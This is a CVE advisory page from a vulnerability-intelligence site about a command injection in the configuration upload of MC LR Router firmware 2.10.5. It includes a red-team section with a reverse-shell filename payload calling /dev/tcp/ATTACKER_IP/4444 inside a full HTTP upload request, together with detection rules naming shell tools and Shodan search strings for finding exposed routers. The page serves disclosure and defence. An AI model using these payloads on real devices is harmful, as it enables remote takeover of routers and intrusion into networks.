☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-21786

CVE-2024-21786 OS Command Injection in Mc technologies
📅 PUBLISHED: 2024-11-21 14:41 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.70%
👁️
0.70% probability
17.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 2.10.5
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-21786 is a critical OS command injection vulnerability in the web interface configuration upload functionality of MC Technologies MC LR Router firmware version 2.10.5. An authenticated attacker can exploit this flaw by sending a specially crafted HTTP request, leading to arbitrary command execution on the underlying operating system. With a CVSS score of 7.2, this vulnerability poses a significant risk to network integrity and confidentiality. The vendor has not yet released a patch, leaving affected devices exposed to potential compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The high privileges required (authenticated access) slightly reduce the attack surface, but once authenticated, the attacker can fully compromise the device.

Deep Dive & Mechanics

The vulnerability resides in the configuration upload functionality of the MC LR Router's web interface. The application fails to properly sanitize user-supplied input during the file upload process. An attacker can craft a malicious configuration file containing OS commands that are injected into a system call (e.g., via system(), exec(), or similar functions). When the router processes the uploaded file, the injected commands are executed with the privileges of the web server (typically root), leading to full device compromise.

The injection likely occurs in parameters such as filenames, file contents, or metadata fields that are passed unsanitized to a shell command. For example, a filename like ;reboot could cause the system to execute cp /tmp/upload/;reboot /config/.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

# Vulnerable pseudo-code
def upload_config(request):
    filename = request.files['config'].filename
    os.system("cp /tmp/upload/" + filename + " /config/")

A patched version would use parameterized commands or input validation:

# Patched pseudo-code
def upload_config(request):
    filename = sanitize_filename(request.files['config'].filename)
    if not is_valid_filename(filename):
        return "Invalid filename"
    subprocess.run(["cp", "/tmp/upload/" + filename, "/config/"], check=True)

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy an MC LR Router with firmware 2.10.5 in an isolated network.
  2. Obtain valid credentials (e.g., admin:admin).
  3. Use a tool like Burp Suite to intercept and modify the configuration upload request.

Exploitation Steps:

  1. Log in to the web interface.
  2. Navigate to the configuration upload page.
  3. Create a malicious configuration file with a filename containing command injection, e.g., ;id > /tmp/pwned;.
  4. Upload the file via a crafted HTTP POST request.
  5. Verify command execution by checking the output file or using a reverse shell.

Example Payload:

# Craft a malicious filename
filename=";bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1';"

HTTP Request:

POST /upload_config HTTP/1.1
Host: router_ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="config"; filename=";bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1';"
Content-Type: application/octet-stream

[file content]
------WebKitFormBoundary--

Blue Team

Detection:

  • Monitor for unusual filenames in upload requests (e.g., containing semicolons, pipes, or backticks).
  • Alert on processes spawned by the web server (e.g., bash, sh, nc, python).
  • Use network monitoring to detect reverse shell connections.

Hunting:

  • Search logs for HTTP requests to /upload_config with suspicious Content-Disposition headers.
  • Check for unexpected files in /tmp/ or /var/ directories.
  • Review system logs for command execution events.

Indicators of Compromise (IOCs)

  • Network: Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
  • File: Presence of files like /tmp/pwned, /tmp/revshell, or unexpected scripts in /tmp/.
  • Process: Running processes like bash, sh, nc, python spawned by the web server user.
  • Log: HTTP requests with filenames containing shell metacharacters (e.g., ;, |, `).

Detection Engineering

YARA Rule

rule CVE_2024_21786_OS_Command_Injection {
    meta:
        description = "Detects malicious configuration upload filenames for CVE-2024-21786"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-21786"
    strings:
        $semicolon = ";"
        $pipe = "|"
        $backtick = "`"
        $dollar = "$("
        $cmd1 = "bash"
        $cmd2 = "sh"
        $cmd3 = "nc"
        $cmd4 = "python"
    condition:
        any of ($semicolon, $pipe, $backtick, $dollar) and
        any of ($cmd1, $cmd2, $cmd3, $cmd4)
}

Sigma Rule

title: CVE-2024-21786 OS Command Injection via Config Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious filenames in config upload
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload_config'
        cs-Content-Disposition|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21786 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload_config"; http_uri; content:"Content-Disposition"; http_header; pcre:"/(;|\||\`|\$\().*\.(sh|bash|nc|python)/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable the configuration upload functionality if not required. Restrict access to the web interface to trusted IPs only.
  • Workaround: Implement a reverse proxy with input validation to block malicious filenames.
  • Long-term: Apply vendor patch when available. Consider replacing the device if no patch is released.
  • Monitoring: Enable detailed logging and alerting on the web interface and system commands.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

MC Technologies MC LR Router
MC LR Router 2.10.5

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-21786/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.